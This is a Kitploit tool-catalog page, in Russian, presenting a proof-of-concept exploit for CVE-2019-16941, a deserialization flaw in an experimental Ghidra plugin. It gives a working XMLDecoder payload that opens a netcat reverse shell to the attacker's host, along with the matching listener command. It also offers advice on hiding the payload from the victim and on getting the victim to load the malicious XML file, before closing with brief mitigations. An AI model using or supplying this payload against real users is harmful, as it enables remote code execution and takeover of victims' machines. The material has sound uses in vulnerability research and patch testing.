Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-16941 — PoC for CVE-2019-16941 | Kitploit
Инструменты/GitHubGitHub/purpleracc00n/cve-2019-16941
Vulnerability AnalysisCode AnalysisExploitationReverse EngineeringPayload DevelopmentBinary Exploitation
GitHubpurpleracc00n/cve-2019-16941

CVE-2019-16941

PoC for CVE-2019-16941

Репозиторий
46 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2019-16941

Доказательство концепции:

Уязвимость требует выполнения нескольких и относительно маловероятных условий для срабатывания, что ограничивает её эксплуатацию. Тем не менее, для подготовки полезной нагрузки требуется немного усилий и понимания, учитывая, что это может привести к выполнению произвольного кода.

Создание полезной нагрузки:

Чтобы создать полезную нагрузку для выполнения на целевой системе, можно использовать скрипт, встроенный в Ghidra. Для доступа к нему нажмите «Window» -> «Script Manager» и запустите «DumpFunctionPatternInfoScript.java» с параметрами по умолчанию на любой бинарный файл, который вы добавили в Code Browser (но убедитесь, что путь к папке, в которую вы хотите сохранить вывод, существует). Этот скрипт создает XML-файл вывода, который затем будет загружен в уязвимый компонент.

Figure 1 Create a template for payload

Этот XML-шаблон можно использовать для внедрения объекта, который будет десериализован как Java-код и выполнен незаметно, без уведомления пользователя. По сути, вредоносный код будет вставлен как дополнительный объект в конец XML-файла, перед закрывающим тегом . Пример полезной нагрузки объекта, представляющей собой обратную оболочку, приведен ниже:

root@kitploit:~
<object class="java.lang.Runtime" method="getRuntime"> 
  <void method="exec"> 
    <string>nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'</string> 
  </void> 
</object>

Приведенный выше код будет десериализован в следующий Java-код:

root@kitploit:~
Process process = Runtime.getRuntime().exec("nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'")

Возможности полезной нагрузки безграничны, поскольку любой Java-код (даже сложное вредоносное ПО) может быть выполнен таким образом, если он правильно сериализован в формат XML, требуемый XMLDecoder. Следует соблюдать осторожность, если полезная нагрузка вставляется в другое место внутри шаблона (для большей скрытности), так как это может вызвать исключения при десериализации, тем самым предупредив пользователя.

Выполнение:

Процесс, с помощью которого выполняется полезная нагрузка, использует графический интерфейс Ghidra и не может быть автоматизирован. Вместо этого он требует взаимодействия с жертвой, что является еще одним условием для срабатывания эксплойта.

Для работы этого эксплойта на компьютере жертвы необходимо, чтобы в Ghidra был включен экспериментальный плагин «FunctionBitPatternsExplorer». Это можно сделать, выполнив следующие действия:

Figure 2 Enable Experimental Plugin

Далее пользователю необходимо открыть плагин через «Window» -> «Function Bit Patterns Explorer» и загрузить XML-файл с помощью функции «Read XML Files». Однако это создает еще одну проблему для условий. Злоумышленнику нужен способ заставить пользователя загрузить XML-полезную нагрузку на свой компьютер.

С точки зрения жертвы, функция не покажет XML-файлы в списке, поэтому если ваш каталог выглядит пустым, это нормально. Если начать вводить их имя в текстовое поле «Имя файла», они появятся, однако важно не выбирать ни один из них и оставить указатель на каталог, так как он сам выберет файлы.

Figure 3 Executing the payload

Прежде чем пользователь нажмет «OK», злоумышленник (joe) должен запустить прослушиватель на своем удаленном хосте и ждать подключения. Это легко сделать с помощью:

root@kitploit:~
$ nc -lvnp <listening_port>

После выполнения результаты можно увидеть ниже:

Figure 4 Reverse Shell

Уязвимость крайне маловероятна для массовой эксплуатации из-за множества условий. Пока не будет предоставлено новое обновление, лучшими мерами смягчения являются отключение (или изначальное невключение) затронутого экспериментального плагина. Однако, если плагин необходимо использовать, XML-файлы должны поступать из доверенного источника.

Скачать инструмент